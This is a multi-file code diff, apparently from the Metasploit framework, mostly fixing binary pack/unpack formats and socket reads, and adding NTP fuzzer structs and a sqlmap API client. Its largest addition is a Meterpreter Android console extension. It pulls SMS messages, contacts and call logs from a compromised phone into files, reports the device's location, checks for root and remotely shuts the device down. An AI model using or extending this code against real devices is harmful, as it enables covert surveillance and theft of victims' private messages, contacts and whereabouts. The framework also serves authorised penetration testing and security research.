elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
|
||||
self.value = raw.unpack("NNQ")[2]
|
||||
self.value = raw.unpack("NNQ<")[2]
|
||||
self.value = self.ntohq( self.value )
|
||||
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
|
||||
self.value = raw.unpack("NNc")[2]
|
||||
|
@ -335,7 +335,7 @@ class Tlv
|
|||
if( [1].pack( 's' ) == [1].pack( 'n' ) )
|
||||
return value
|
||||
end
|
||||
return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first
|
||||
return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first
|
||||
end
|
||||
|
||||
def ntohq( value )
|
||||
|
|
|
@ -106,6 +106,8 @@ class Console
|
|||
log_error("Operation timed out.")
|
||||
rescue RequestError => info
|
||||
log_error(info.to_s)
|
||||
rescue Rex::AddressInUse => e
|
||||
log_error(e.message)
|
||||
rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError
|
||||
self.client.kill
|
||||
rescue ::Exception => e
|
||||
|
|
|
@ -0,0 +1,383 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/post/meterpreter'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Ui
|
||||
|
||||
###
|
||||
# Android extension - set of commands to be executed on android devices.
|
||||
# extension by Anwar Mohamed (@anwarelmakrahy)
|
||||
###
|
||||
|
||||
class Console::CommandDispatcher::Android
|
||||
include Console::CommandDispatcher
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
all = {
|
||||
'dump_sms' => 'Get sms messages',
|
||||
'dump_contacts' => 'Get contacts list',
|
||||
'geolocate' => 'Get current lat-long using geolocation',
|
||||
'dump_calllog' => 'Get call log',
|
||||
'check_root' => 'Check if device is rooted',
|
||||
'device_shutdown' => 'Shutdown device'
|
||||
}
|
||||
|
||||
reqs = {
|
||||
'dump_sms' => [ 'dump_sms' ],
|
||||
'dump_contacts' => [ 'dump_contacts' ],
|
||||
'geolocate' => [ 'geolocate' ],
|
||||
'dump_calllog' => [ 'dump_calllog' ],
|
||||
'check_root' => [ 'check_root' ],
|
||||
'device_shutdown' => [ 'device_shutdown']
|
||||
}
|
||||
|
||||
# Ensure any requirements of the command are met
|
||||
all.delete_if do |cmd, desc|
|
||||
reqs[cmd].any? { |req| not client.commands.include?(req) }
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_device_shutdown(*args)
|
||||
|
||||
seconds = 0
|
||||
device_shutdown_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-t' => [ false, 'Shutdown after n seconds']
|
||||
)
|
||||
|
||||
device_shutdown_opts.parse(args) { | opt, idx, val |
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: device_shutdown [options]')
|
||||
print_line('Shutdown device.')
|
||||
print_line(device_shutdown_opts.usage)
|
||||
return
|
||||
when '-t'
|
||||
seconds = val.to_i
|
||||
end
|
||||
}
|
||||
|
||||
res = client.android.device_shutdown(seconds)
|
||||
|
||||
if res
|
||||
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
|
||||
else
|
||||
print_error('Device shutdown failed')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_dump_sms(*args)
|
||||
|
||||
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_sms_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ false, 'Output path for sms list']
|
||||
)
|
||||
|
||||
dump_sms_opts.parse(args) { | opt, idx, val |
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: dump_sms [options]')
|
||||
print_line('Get sms messages.')
|
||||
print_line(dump_sms_opts.usage)
|
||||
return
|
||||
when '-o'
|
||||
path = val
|
||||
end
|
||||
}
|
||||
|
||||
smsList = []
|
||||
smsList = client.android.dump_sms
|
||||
|
||||
if smsList.count > 0
|
||||
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
|
||||
begin
|
||||
info = client.sys.config.sysinfo
|
||||
|
||||
data = ""
|
||||
data << "\n=====================\n"
|
||||
data << "[+] Sms messages dump\n"
|
||||
data << "=====================\n\n"
|
||||
|
||||
time = Time.new
|
||||
data << "Date: #{time.inspect}\n"
|
||||
data << "OS: #{info['OS']}\n"
|
||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
|
||||
smsList.each_with_index { |a, index|
|
||||
|
||||
data << "##{index.to_i + 1}\n"
|
||||
|
||||
type = 'Unknown'
|
||||
if a['type'] == '1'
|
||||
type = 'Incoming'
|
||||
elsif a['type'] == '2'
|
||||
type = 'Outgoing'
|
||||
end
|
||||
|
||||
status = 'Unknown'
|
||||
if a['status'] == '-1'
|
||||
status = 'NOT_RECEIVED'
|
||||
elsif a['status'] == '1'
|
||||
status = 'SME_UNABLE_TO_CONFIRM'
|
||||
elsif a['status'] == '0'
|
||||
status = 'SUCCESS'
|
||||
elsif a['status'] == '64'
|
||||
status = 'MASK_PERMANENT_ERROR'
|
||||
elsif a['status'] == '32'
|
||||
status = 'MASK_TEMPORARY_ERROR'
|
||||
elsif a['status'] == '2'
|
||||
status = 'SMS_REPLACED_BY_SC'
|
||||
end
|
||||
|
||||
data << "Type\t: #{type}\n"
|
||||
|
||||
time = a['date'].to_i / 1000
|
||||
time = Time.at(time)
|
||||
|
||||
data << "Date\t: #{time.strftime('%Y-%m-%d %H:%M:%S')}\n"
|
||||
data << "Address\t: #{a['address']}\n"
|
||||
data << "Status\t: #{status}\n"
|
||||
data << "Message\t: #{a['body']}\n\n"
|
||||
}
|
||||
|
||||
::File.write(path, data)
|
||||
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
|
||||
|
||||
return true
|
||||
rescue
|
||||
print_error("Error getting messages: #{$!}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_status('No sms messages were found!')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_dump_contacts(*args)
|
||||
|
||||
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_contacts_opts = Rex::Parser::Arguments.new(
|
||||
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ false, 'Output path for contacts list']
|
||||
|
||||
)
|
||||
|
||||
dump_contacts_opts.parse(args) { | opt, idx, val |
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: dump_contacts [options]')
|
||||
print_line('Get contacts list.')
|
||||
print_line(dump_contacts_opts.usage)
|
||||
return
|
||||
when '-o'
|
||||
path = val
|
||||
end
|
||||
}
|
||||
|
||||
contactList = []
|
||||
contactList = client.android.dump_contacts
|
||||
|
||||
if contactList.count > 0
|
||||
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
|
||||
begin
|
||||
info = client.sys.config.sysinfo
|
||||
|
||||
data = ""
|
||||
data << "\n======================\n"
|
||||
data << "[+] Contacts list dump\n"
|
||||
data << "======================\n\n"
|
||||
|
||||
time = Time.new
|
||||
data << "Date: #{time.inspect}\n"
|
||||
data << "OS: #{info['OS']}\n"
|
||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
|
||||
contactList.each_with_index { |c, index|
|
||||
|
||||
data << "##{index.to_i + 1}\n"
|
||||
data << "Name\t: #{c['name']}\n"
|
||||
|
||||
if c['number'].count > 0
|
||||
(c['number']).each { |n|
|
||||
data << "Number\t: #{n}\n"
|
||||
}
|
||||
end
|
||||
|
||||
if c['email'].count > 0
|
||||
(c['email']).each { |n|
|
||||
data << "Email\t: #{n}\n"
|
||||
}
|
||||
end
|
||||
|
||||
data << "\n"
|
||||
}
|
||||
|
||||
::File.write(path, data)
|
||||
print_status("Contacts list saved to: #{path}")
|
||||
|
||||
return true
|
||||
rescue
|
||||
print_error("Error getting contacts list: #{$!}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_status('No contacts were found!')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_geolocate(*args)
|
||||
|
||||
generate_map = false
|
||||
geolocate_opts = Rex::Parser::Arguments.new(
|
||||
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-g' => [ false, 'Generate map using google-maps']
|
||||
|
||||
)
|
||||
|
||||
geolocate_opts.parse(args) { | opt, idx, val |
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: geolocate [options]')
|
||||
print_line('Get current location using geolocation.')
|
||||
print_line(geolocate_opts.usage)
|
||||
return
|
||||
when '-g'
|
||||
generate_map = true
|
||||
end
|
||||
}
|
||||
|
||||
geo = client.android.geolocate
|
||||
|
||||
print_status('Current Location:')
|
||||
print_line("\tLatitude: #{geo[0]['lat']}")
|
||||
print_line("\tLongitude: #{geo[0]['long']}\n")
|
||||
print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}&sensor=true\n")
|
||||
|
||||
if generate_map
|
||||
link = "https://maps.google.com/maps?q=#{geo[0]['lat'].to_f},#{geo[0]['long'].to_f}"
|
||||
print_status("Generated map on google-maps:")
|
||||
print_status(link)
|
||||
Rex::Compat.open_browser(link)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def cmd_dump_calllog(*args)
|
||||
|
||||
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_calllog_opts = Rex::Parser::Arguments.new(
|
||||
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ false, 'Output path for call log']
|
||||
|
||||
)
|
||||
|
||||
dump_calllog_opts.parse(args) { | opt, idx, val |
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: dump_calllog [options]')
|
||||
print_line('Get call log.')
|
||||
print_line(dump_calllog_opts.usage)
|
||||
return
|
||||
when '-o'
|
||||
path = val
|
||||
end
|
||||
}
|
||||
|
||||
log = client.android.dump_calllog
|
||||
|
||||
if log.count > 0
|
||||
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
|
||||
begin
|
||||
info = client.sys.config.sysinfo
|
||||
|
||||
data = ""
|
||||
data << "\n=================\n"
|
||||
data << "[+] Call log dump\n"
|
||||
data << "=================\n\n"
|
||||
|
||||
time = Time.new
|
||||
data << "Date: #{time.inspect}\n"
|
||||
data << "OS: #{info['OS']}\n"
|
||||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
|
||||
log.each_with_index { |a, index|
|
||||
|
||||
data << "##{index.to_i + 1}\n"
|
||||
|
||||
data << "Number\t: #{a['number']}\n"
|
||||
data << "Name\t: #{a['name']}\n"
|
||||
data << "Date\t: #{a['date']}\n"
|
||||
data << "Type\t: #{a['type']}\n"
|
||||
data << "Duration: #{a['duration']}\n\n"
|
||||
}
|
||||
|
||||
::File.write(path, data)
|
||||
print_status("Call log saved to #{path}")
|
||||
|
||||
return true
|
||||
rescue
|
||||
print_error("Error getting call log: #{$!}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_status('No call log entries were found!')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_check_root(*args)
|
||||
|
||||
check_root_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ]
|
||||
)
|
||||
|
||||
check_root_opts.parse(args) { | opt, idx, val |
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: check_root [options]')
|
||||
print_line('Check if device is rooted.')
|
||||
print_line(check_root_opts.usage)
|
||||
return
|
||||
end
|
||||
}
|
||||
|
||||
is_rooted = client.android.check_root
|
||||
|
||||
if is_rooted
|
||||
print_good('Device is rooted')
|
||||
elsif
|
||||
print_status('Device is not rooted')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
'Android'
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -34,7 +34,7 @@ class NDR
|
|||
# byte element_1;
|
||||
def self.byte(string)
|
||||
warn 'should be using Rex::Encoder::NDR'
|
||||
return [string].pack('c')
|
||||
return [string].pack('C')
|
||||
end
|
||||
|
||||
# Encode a byte array
|
||||
|
|
|
@ -19,7 +19,7 @@ module NATPMP
|
|||
# Parse a NAT-PMP external address response +resp+.
|
||||
# Returns the decoded parts of the response as an array.
|
||||
def self.parse_external_address_response(resp)
|
||||
(ver, op, result, epoch, addr) = resp.unpack("CCSLN")
|
||||
(ver, op, result, epoch, addr) = resp.unpack("CCvVN")
|
||||
[ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
|
||||
end
|
||||
|
||||
|
@ -31,13 +31,13 @@ module NATPMP
|
|||
lport,
|
||||
rport,
|
||||
lifetime
|
||||
].pack("ccnnnN")
|
||||
].pack("CCnnnN")
|
||||
end
|
||||
|
||||
# Parse a NAT-PMP mapping response +resp+.
|
||||
# Returns the decoded parts as an array.
|
||||
def self.parse_map_port_response(resp)
|
||||
resp.unpack("CCSLnnN")
|
||||
resp.unpack("CCvVnnN")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/ntp/constants'
|
||||
require 'rex/proto/ntp/modes'
|
|
@ -0,0 +1,12 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
module NTP
|
||||
VERSIONS = (0..7).to_a
|
||||
MODES = (0..7).to_a
|
||||
MODE_6_OPERATIONS = (0..31).to_a
|
||||
MODE_7_IMPLEMENTATIONS = (0..255).to_a
|
||||
MODE_7_REQUEST_CODES = (0..255).to_a
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,130 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'bit-struct'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module NTP
|
||||
|
||||
# A very generic NTP message
|
||||
#
|
||||
# Uses the common/similar parts from versions 1-4 and considers everything
|
||||
# after to be just one big field. For the particulars on the different versions,
|
||||
# see:
|
||||
# http://tools.ietf.org/html/rfc958#appendix-B
|
||||
# http://tools.ietf.org/html/rfc1059#appendix-B
|
||||
# pages 45/48 of http://tools.ietf.org/pdf/rfc1119.pdf
|
||||
# http://tools.ietf.org/html/rfc1305#appendix-D
|
||||
# http://tools.ietf.org/html/rfc5905#page-19
|
||||
class NTPGeneric < BitStruct
|
||||
# 0 1 2 3
|
||||
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# |LI | VN | mode| Stratum | Poll | Precision |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
unsigned :li, 2, default: 0
|
||||
unsigned :version, 3, default: 0
|
||||
unsigned :mode, 3, default: 0
|
||||
unsigned :stratum, 8, default: 0
|
||||
unsigned :poll, 8, default: 0
|
||||
unsigned :precision, 8, default: 0
|
||||
rest :payload
|
||||
end
|
||||
|
||||
# An NTP control message. Control messages are only specified for NTP
|
||||
# versions 2-4, but this is a fuzzer so why not try them all...
|
||||
class NTPControl < BitStruct
|
||||
# 0 1 2 3
|
||||
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# |00 | VN | 6 |R E M| op | Sequence |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# | status | association id |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# | offset | count |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
unsigned :reserved, 2, default: 0
|
||||
unsigned :version, 3, default: 0
|
||||
unsigned :mode, 3, default: 6
|
||||
unsigned :response, 1, default: 0
|
||||
unsigned :error, 1, default: 0
|
||||
unsigned :more, 1, default: 0
|
||||
unsigned :operation, 5, default: 0
|
||||
unsigned :sequence, 16, default: 0
|
||||
unsigned :status, 16, default: 0
|
||||
unsigned :association_id, 16, default: 0
|
||||
# TODO: there *must* be bugs in the handling of these next two fields!
|
||||
unsigned :payload_offset, 16, default: 0
|
||||
unsigned :payload_size, 16, default: 0
|
||||
rest :payload
|
||||
end
|
||||
|
||||
# An NTP "private" message. Private messages are only specified for NTP
|
||||
# versions 2-4, but this is a fuzzer so why not try them all...
|
||||
class NTPPrivate < BitStruct
|
||||
# 0 1 2 3
|
||||
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# |R M| VN | 7 |A| Sequence | Implementation| Req code |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# | err | Number of data items | MBZ | Size of data item |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
unsigned :response, 1, default: 0
|
||||
unsigned :more, 1, default: 0
|
||||
unsigned :version, 3, default: 0
|
||||
unsigned :mode, 3, default: 7
|
||||
unsigned :auth, 1, default: 0
|
||||
unsigned :sequence, 7, default: 0
|
||||
unsigned :implementation, 8, default: 0
|
||||
unsigned :request_code, 8, default: 0
|
||||
unsigned :error, 4, default: 0
|
||||
unsigned :record_count, 12, default: 0
|
||||
unsigned :mbz, 4, default: 0
|
||||
unsigned :record_size, 12, default: 0
|
||||
rest :payload
|
||||
|
||||
def records
|
||||
records = []
|
||||
1.upto(record_count) do |record_num|
|
||||
records << payload[record_size*(record_num-1), record_size]
|
||||
end
|
||||
records
|
||||
end
|
||||
end
|
||||
|
||||
def self.ntp_control(version, operation, payload = nil)
|
||||
n = NTPControl.new
|
||||
n.version = version
|
||||
n.operation = operation
|
||||
if payload
|
||||
n.payload_offset = 0
|
||||
n.payload_size = payload.size
|
||||
n.payload = payload
|
||||
end
|
||||
n.to_s
|
||||
end
|
||||
|
||||
def self.ntp_private(version, implementation, request_code, payload = nil)
|
||||
n = NTPPrivate.new
|
||||
n.version = version
|
||||
n.implementation = implementation
|
||||
n.request_code = request_code
|
||||
n.payload = payload if payload
|
||||
n.to_s
|
||||
end
|
||||
|
||||
def self.ntp_generic(version, mode)
|
||||
n = NTPGeneric.new
|
||||
n.version = version
|
||||
n.mode = mode
|
||||
n.to_s
|
||||
end
|
||||
|
||||
# Parses the given message and provides a description about the NTP message inside
|
||||
def self.describe(message)
|
||||
ntp = NTPGeneric.new(message)
|
||||
"#{message.size}-byte version #{ntp.version} mode #{ntp.mode} reply"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -41,7 +41,7 @@ class LFHashRecord
|
|||
attr_accessor :nodekey_offset, :nodekey_name_verification
|
||||
|
||||
def initialize(hive_blob, offset)
|
||||
@nodekey_offset = hive_blob[offset, 4].unpack('l').first
|
||||
@nodekey_offset = hive_blob[offset, 4].unpack('V').first
|
||||
@nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
|
||||
end
|
||||
|
||||
|
|
|
@ -23,16 +23,16 @@ class NodeKey
|
|||
return
|
||||
end
|
||||
|
||||
@timestamp = hive[offset+0x04, 8].unpack('q').first
|
||||
@parent_offset = hive[offset+0x10, 4].unpack('l').first
|
||||
@subkeys_count = hive[offset+0x14, 4].unpack('l').first
|
||||
@lf_record_offset = hive[offset+0x1c, 4].unpack('l').first
|
||||
@value_count = hive[offset+0x24, 4].unpack('l').first
|
||||
@value_list_offset = hive[offset+0x28, 4].unpack('l').first
|
||||
@security_key_offset = hive[offset+0x2c, 4].unpack('l').first
|
||||
@class_name_offset = hive[offset+0x30, 4].unpack('l').first
|
||||
@name_length = hive[offset+0x48, 2].unpack('c').first
|
||||
@class_name_length = hive[offset+0x4a, 2].unpack('c').first
|
||||
@timestamp = hive[offset+0x04, 8].unpack('Q').first
|
||||
@parent_offset = hive[offset+0x10, 4].unpack('V').first
|
||||
@subkeys_count = hive[offset+0x14, 4].unpack('V').first
|
||||
@lf_record_offset = hive[offset+0x1c, 4].unpack('V').first
|
||||
@value_count = hive[offset+0x24, 4].unpack('V').first
|
||||
@value_list_offset = hive[offset+0x28, 4].unpack('V').first
|
||||
@security_key_offset = hive[offset+0x2c, 4].unpack('V').first
|
||||
@class_name_offset = hive[offset+0x30, 4].unpack('V').first
|
||||
@name_length = hive[offset+0x48, 2].unpack('C').first
|
||||
@class_name_length = hive[offset+0x4a, 2].unpack('C').first
|
||||
@name = hive[offset+0x4c, @name_length].to_s
|
||||
|
||||
windows_time = @timestamp
|
||||
|
|
|
@ -17,10 +17,10 @@ class ValueKey
|
|||
return
|
||||
end
|
||||
|
||||
@name_length = hive[offset+0x02, 2].unpack('c').first
|
||||
@length_of_data = hive[offset+0x04, 4].unpack('l').first
|
||||
@data_offset = hive[offset+ 0x08, 4].unpack('l').first
|
||||
@value_type = hive[offset+0x0C, 4].unpack('c').first
|
||||
@name_length = hive[offset+0x02, 2].unpack('C').first
|
||||
@length_of_data = hive[offset+0x04, 4].unpack('V').first
|
||||
@data_offset = hive[offset+ 0x08, 4].unpack('V').first
|
||||
@value_type = hive[offset+0x0C, 4].unpack('C').first
|
||||
|
||||
if @value_type == 1
|
||||
@readable_value_type = "Unicode character string"
|
||||
|
@ -34,7 +34,7 @@ class ValueKey
|
|||
@readable_value_type = "Multiple unicode strings separated with '\\x00'"
|
||||
end
|
||||
|
||||
flag = hive[offset+0x10, 2].unpack('c').first
|
||||
flag = hive[offset+0x10, 2].unpack('C').first
|
||||
|
||||
if flag == 0
|
||||
@name = "Default"
|
||||
|
|
|
@ -18,7 +18,7 @@ class ValueList
|
|||
valuekey_offset = hive[offset + inner_offset, 4]
|
||||
next if !valuekey_offset
|
||||
|
||||
valuekey_offset = valuekey_offset.unpack('l').first
|
||||
valuekey_offset = valuekey_offset.unpack('V').first
|
||||
@values << ValueKey.new(hive, valuekey_offset + 0x1000)
|
||||
inner_offset = inner_offset + 4
|
||||
end
|
||||
|
|
|
@ -75,6 +75,7 @@ module Rex::Socket::Ip
|
|||
Rex::Compat.is_macosx
|
||||
)
|
||||
gram=gram.dup
|
||||
# Note that these are *intentionally* host order for BSD support
|
||||
gram[2,2]=gram[2,2].unpack("n").pack("s")
|
||||
gram[6,2]=gram[6,2].unpack("n").pack("s")
|
||||
end
|
||||
|
|
|
@ -3,6 +3,7 @@ require 'digest/md5'
|
|||
require 'digest/sha1'
|
||||
require 'stringio'
|
||||
require 'cgi'
|
||||
require 'rex/exploitation/powershell'
|
||||
|
||||
%W{ iconv zlib }.each do |libname|
|
||||
begin
|
||||
|
@ -305,19 +306,7 @@ module Text
|
|||
# Converts a raw string to a powershell byte array
|
||||
#
|
||||
def self.to_powershell(str, name = "buf")
|
||||
return "[Byte[]]$#{name} = ''" if str.nil? or str.empty?
|
||||
|
||||
code = str.unpack('C*')
|
||||
buff = "[Byte[]]$#{name} = 0x#{code[0].to_s(16)}"
|
||||
1.upto(code.length-1) do |byte|
|
||||
if(byte % 10 == 0)
|
||||
buff << "\r\n$#{name} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
buff << ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
|
||||
return buff
|
||||
return Rex::Exploitation::Powershell::Script.to_byte_array(str, name)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -0,0 +1,50 @@
|
|||
require 'json'
|
||||
|
||||
module Sqlmap
|
||||
class Manager
|
||||
def initialize(session)
|
||||
@session = session
|
||||
end
|
||||
|
||||
def new_task
|
||||
res = @session.get('/task/new')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def delete_task(task_id)
|
||||
res = @session.get('/task/' + task_id + '/delete')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def set_option(task_id, key, value)
|
||||
post = { key => value }
|
||||
res = @session.post('/option/' + task_id + '/set', nil, post.to_json, {'ctype' => 'application/json'})
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def get_options(task_id)
|
||||
res = @session.get('/option/' + task_id + '/list')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def start_task(task_id, options = {})
|
||||
res = @session.post('/scan/' + task_id + '/start' , nil, options.to_json, {'ctype' => 'application/json'})
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def get_task_status(task_id)
|
||||
res = @session.get('/scan/' + task_id + '/status')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def get_task_log(task_id)
|
||||
res = @session.get('/scan/' + task_id + '/log')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
|
||||
def get_task_data(task_id)
|
||||
res = @session.get('/scan/' + task_id + '/data')
|
||||
return JSON.parse(res.body)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,37 @@
|
|||
module Sqlmap
|
||||
class Session
|
||||
def initialize(host, port = 8775)
|
||||
@host = host
|
||||
@port = port
|
||||
end
|
||||
|
||||
def get(uri, headers = nil, params = nil)
|
||||
c = Rex::Proto::Http::Client.new(@host, @port)
|
||||
args = {
|
||||
'uri' => uri
|
||||
}
|
||||
|
||||
args['headers'] = headers if headers
|
||||
args['vars_get'] = params if params
|
||||
res = c.request_cgi(args)
|
||||
res = c.send_recv(res)
|
||||
return res
|
||||
end
|
||||
|
||||
def post(uri, headers = nil, data = nil, originator_args = nil)
|
||||
c = Rex::Proto::Http::Client.new(@host, @port)
|
||||
args = {
|
||||
'uri' => uri,
|
||||
'method' => 'POST'
|
||||
}
|
||||
|
||||
args.merge!(originator_args) if originator_args
|
||||
|
||||
args['headers'] = headers if headers
|
||||
args['data'] = data if data
|
||||
res = c.request_cgi(args)
|
||||
res = c.send_recv(res)
|
||||
return res
|
||||
end
|
||||
end
|
||||
end
|
|
@ -159,7 +159,7 @@ class SSHKey
|
|||
|
||||
SSH_CONVERSION[type].each do |method|
|
||||
byte_array = to_byte_array(key_object.public_key.send(method).to_i)
|
||||
out += encode_unsigned_int_32(byte_array.length).pack("c*")
|
||||
out += encode_unsigned_int_32(byte_array.length).pack("C*")
|
||||
out += byte_array.pack("C*")
|
||||
end
|
||||
|
||||
|
|
|
@ -36,7 +36,7 @@ class WindowsConsoleColorSupport
|
|||
def setcolor(color)
|
||||
csbi = 0.chr * 24
|
||||
@GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi)
|
||||
wAttr = csbi[8,2].unpack('S').first
|
||||
wAttr = csbi[8,2].unpack('v').first
|
||||
|
||||
case color
|
||||
when 0 # reset
|
||||
|
|
|
@ -50,21 +50,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
print_status("Attempting to create directory: MKD #{test}")
|
||||
sock.put("MKD #{test}\r\n")
|
||||
res = sock.get(-1,5)
|
||||
res = sock.get_once(-1,5)
|
||||
|
||||
if (res =~/257 MKD command successful\./)
|
||||
print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
|
||||
sock.put("SIZE #{test}\r\n")
|
||||
res = sock.get(-1,5)
|
||||
res = sock.get_once(-1,5)
|
||||
if (res =~ /550 Not a regular file/)
|
||||
print_status("\tServer reports \"not a regular file\". Directory verified.")
|
||||
print_status("\tAttempting to delete directory: RMD #{test}")
|
||||
sock.put("RMD #{test}\r\n")
|
||||
res = sock.get(-1,5)
|
||||
res = sock.get_once(-1,5)
|
||||
if (res =~ /250 RMD command successful\./)
|
||||
print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
|
||||
sock.put("SIZE #{test}\r\n")
|
||||
res = sock.get(-1,5)
|
||||
res = sock.get_once(-1,5)
|
||||
print_status("\tDirectory #{test} no longer exists!")
|
||||
print_status("Target is confirmed as vulnerable!")
|
||||
end
|
||||
|
|
|
@ -116,7 +116,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
connect
|
||||
sock.put(Rex::Text.rand_text(5))
|
||||
res = sock.get_once
|
||||
res = sock.get_once(-1, 10)
|
||||
disconnect
|
||||
rescue Rex::ConnectionError => e
|
||||
print_error("Connection failed: #{e.class}: #{e}")
|
||||
|
@ -147,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
connect
|
||||
sock.put(pkt)
|
||||
res = sock.get
|
||||
res = sock.get_once(-1, 10)
|
||||
|
||||
disconnect
|
||||
|
||||
|
|
|
@ -41,12 +41,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
